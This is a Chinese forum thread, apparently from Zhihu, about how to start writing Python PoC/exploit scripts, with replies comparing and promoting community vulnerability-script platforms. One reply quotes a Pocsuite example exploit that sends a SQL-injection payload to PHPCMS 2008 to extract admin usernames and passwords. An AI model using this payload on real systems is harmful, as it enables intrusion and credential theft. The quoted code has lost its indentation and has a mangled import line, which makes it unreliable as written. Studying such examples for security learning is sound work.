基於 Python 來編寫 Poc/Exp 該怎麼入門?

之前看了一些公開的poc,有點蒙!

有沒有入門教程!通過簡單的實例演示下過程!

還有就是怎樣結合poc的框架編寫poc/exp?


噗嗤,看到大家都在宣傳自家平台我就放心了。

這種社區化的漏洞驗證腳本平台概念最早可能源於 Metasploit 社區,由安全研究人員自願的利用官方提供的框架編寫規範的漏洞驗證腳本或者攻擊腳本並發布到聚合中,由於框架強制性規範代碼,使得各家產品能夠輕鬆的調用「社區」編寫的大量驗證/攻擊腳本,用來掃描、攻擊、驗證等用途。

我拋開宣傳方面來說下對這種平台現狀淺析以及未來的思考,國內 13-15 這兩年湧出了大量的「社區化」PoC平台,當然可預測的是在未來的兩年內會有關閉也會有新平台的出現。

部分列表(簡介摘抄於 Description Title):

  • http://www.beebeeto.com/ ::: Beebeeto是由眾多安全研究人員所共同維護的一個規範化POC/EXP平台。

  • https://www.bugscan.net/ ::: 第一款基於社區的掃描器

  • http://vul.jdsec.com/ ::: 窮奇漏洞庫是網路尖刀安全團隊推出的一個用於漏洞信息存檔的信息收集平台。

  • https://www.sebug.net/ ::: Sebug 是一個權威的漏洞參考、分享與學習的安全漏洞平台,是國內最早最權威的漏洞庫。

  • http://tangscan.com/ ::: 唐朝安全巡航 (TangScan) 是一個由社區眾多安全研究人員維護的企業在線安全平台,企業可以在 Tangscan 對自己的企業網路進行安全漏洞檢測和監控以發現潛藏在網路里的重要安全問題。

  • http://.....

現在的框架是束縛,而不是舒服

在 Beebeeto 上線前的一年中,我對社區化的漏洞驗證腳本平思考過儘可能多的細節(站在使用者、編寫者、管理者的角度),當初設想為漏洞爆發 -&> 代碼編寫 -&> 腳本管理 -&> 腳本利用 -&> ... ,面對上面的流程我們推崇了 BBS 社區化,推出框架來強制規範編寫者填寫漏洞相關欄位,對應函數體,為的是能夠方便未來(現在的 Beehive)掃描器。之後安全行業湧出了多家社區化漏掃平台,我開始站在用戶的角度去使用、編寫他家的框架腳本,才意識到目前的框架是束縛,而不是舒服。它強制我填寫每一個欄位,而每個欄位又需要去官方文檔或者 Demo 代碼中查看對應內容,例如 Beebeeto 中的 VulType ,強制要求編寫者去查看官方文檔尋找漏洞類型填寫對應的英語版、漏洞描述等欄位,事實上這些都是可以簡化的,可能只需要一個 Referer。

剛好談下關於 @Neargle 提到的:

所以真正起到功能的,也就不到十行的代碼。

這句話是非常具備思考價值的,假如:

  • 如何在完成 PoC Exploit 的過程中學習收穫;
  • 在長期的編碼漏洞利用腳本時,怎樣達到最快速省事的編碼;
  • 是否能夠利用代碼幫助編寫者省去 Vulnerability_info 欄位;
  • 快速驗證,快速編寫,快速發現需要寫的漏洞;
  • 在已有的大量漏洞驗證腳本里如何準確快速的進行重複概率查詢;
  • ...

還有更多的問題現在擺在幾家面前,需要解決。(省略三百字)

關於用戶怎麼入門編寫

這些平台都在努力的讓編寫驗證/攻擊腳本變得輕鬆簡單,教授著大量編寫方法,最起碼需要編寫者具備相應語言的編碼功底,其次對漏洞原理略知一二,基本就差不多了。多看多寫,這是一個需要經驗積累的過程,如果真的沒有學會,思考下自身問題後再看看是不是這個平台/框架太爛了?最後,選擇一個適合自己的平台很重要。

未來可能預見的幾步曲:

  1. 漏洞爆發
  2. 詳情發布
  3. 腳本發布
  4. 相關產品支撐
  5. 利益相關
  6. ...

嗯,現在我得告訴自己,用戶不但很懶有時還很蠢。


這個看 http://sebug.net 導航幫助里有,Pocsuite 框架有詳細過程。可以作為你的參考:)


樓上三巨頭出現了,還有誰還有誰。前排廣告位。


首先坐等Beebeeto。

然後來談談自己的看法:
其實吧,無論烏雲的Tangscan也好,知道創宇的Pocsuite也好,還有Beebeeto也好(Bugscan沒寫過,不是特別了解不過應該差不多),關於Web的Poc和Exp,都極度依賴於兩個Python庫。
1. Requests : 模擬Web的請求和響應等交互動作。
2. Re : 正則表達式,用來驗證返回的結果是否符合漏洞的預期,從而驗證漏洞是否存在。

其餘的大部分代碼都是漏洞的信息。

Pocsuite官方文檔例子:

#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from http://pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
vulID = "62274" # ssvid
version = "1"
author = ["Medici.Yan"]
vulDate = "2011-11-21"
createDate = "2015-09-23"
updateDate = "2015-09-23"
references = ["http://www.sebug.net/vuldb/ssvid-62274"]
name = "_62274_phpcms_2008_place_sql_inj_PoC"
appPowerLink = "http://www.phpcms.cn"
appName = "PHPCMS"
appVersion = "2008"
vulType = "SQL Injection"
desc = """
phpcms 2008 中廣告模塊,存在參數過濾不嚴,
導致了sql注入漏洞,如果對方伺服器開啟了錯誤顯示,可直接利用,
如果關閉了錯誤顯示,可以採用基於時間和錯誤的盲注
"""
samples = ["http://10.1.200.28/"]

def _attack(self):
result = {}
vulurl = urlparse.urljoin(self.url, "/data/js.php?id=1")
payload = "1", (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), "0")#"
head = {
"Referer": payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200:
match_result = re.search(r"Duplicate entry "1--(.+)---(.+)--" for key", resp.content, re.I | re.M)
if match_result:
result["AdminInfo"] = {}
result["AdminInfo"]["Username"] = match_result.group(1)
result["AdminInfo"]["Password"] = match_result.group(2)
return self.parse_attack(result)

def _verify(self):
result = {}
vulurl = urlparse.urljoin(self.url, "/data/js.php?id=1")
payload = "1", (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), "0")#"
head = {
"Referer": payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200 and "c4ca4238a0b923820dcc509a6f75849b" in resp.content:
result["VerifyInfo"] = {}
result["VerifyInfo"]["URL"] = vulurl
result["VerifyInfo"]["Payload"] = payload

return self.parse_attack(result)

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail("Internet nothing returned")
return output

register(TestPOC)

可以看到從代碼11到28行都是漏洞的一些信息,真正的功能函數只有_attack和_verify兩個而已。甚至這個例子有點繁瑣了,現在大大們都是把exploit寫在verify裡面,所以真正起到功能的,也就不到十行的代碼。pocsuite.net 這個庫其實就是Requests。用Requests模擬手工注入的Post提交,用正則匹配提取和驗證必要信息,簡單說起來就是這兩個步驟。
這麼一來你再看看其他的由Python寫的Poc和Exp就大同小異了。Poc/Exp總的說來就只是用程序代替手工的過程而已,所以了解了漏洞的原理和認證方法之後就簡單了。

代碼很簡單最主要的,還是對於漏洞的理解。

先說到這裡,有空之後再寫一些別的。


歡迎加入bugscan.

歡迎加入bugscan.

歡迎加入bugscan.

重要的話說三遍

http://www.bugscan.net

加入bugscan社區可以使用神器bugscan

所有的插件都是社區內部完全公開,學習寫poc都是小意思

希望與你共同進步


樓上兩位都幫自家宣傳完了,我也幫別人家宣傳宣傳。

烏雲tangscan,有詳細的poc編寫幫助文檔,既能學習python,又能在過程中熟悉一些通用型漏洞的形成原因和利用方法,官網地址 http://tangscan.com。

烏雲出品,必屬精品!也有比較好的獎勵方式,每個月按照比例進行分紅。比如你一次提交了幾十個poc,之後的很多年你不提交也可以每個月


推薦閱讀:

零: 深度學習Theory&Code從0到1——先導篇之matplotlib 進階教程)
一行Python代碼能做什麼?
用 Python 怎樣實現一個九九乘法表?
如何用python畫一朵花?
學Python web開發框架到什麼程度可以找到開發的工作?

TAG:Python | 知道創宇 | Web漏洞 |